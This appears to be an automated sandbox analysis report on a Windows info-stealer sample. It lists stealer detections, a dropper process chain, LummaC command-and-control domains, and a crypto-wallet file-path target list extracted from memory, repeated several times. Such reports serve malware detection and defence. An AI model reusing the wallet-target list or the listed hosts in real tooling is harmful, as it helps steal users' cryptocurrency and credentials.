Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR

Detected PureCrypter Trojan

Source: ec3f41365f.exe, 0000001D.00000002.2709886181.0000000005520000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

LummaC encrypted strings found

Source: ec3f41365f.exe, 0000001D.00000003.2644262977.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: ec3f41365f.exe, 0000001D.00000003.2644262977.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: ec3f41365f.exe, 0000001D.00000003.2644262977.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: ec3f41365f.exe, 0000001D.00000003.2644262977.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: ec3f41365f.exe, 0000001D.00000003.2644262977.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe "C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe "C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe"

Source: file.exe, file.exe, 00000000.00000002.1972556895.0000000000EFF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: OProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6B341 cpuid

0_2_6CB6B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CB335A0

Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsJDGCGHCGHC.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2074973312.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2095829629.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2054722898.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2091988103.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1987375902.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2132173931.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2406559808.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2694222146.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ec3f41365f.exe PID: 8164, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1971911625.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1973362137.000000000149C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452584570.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
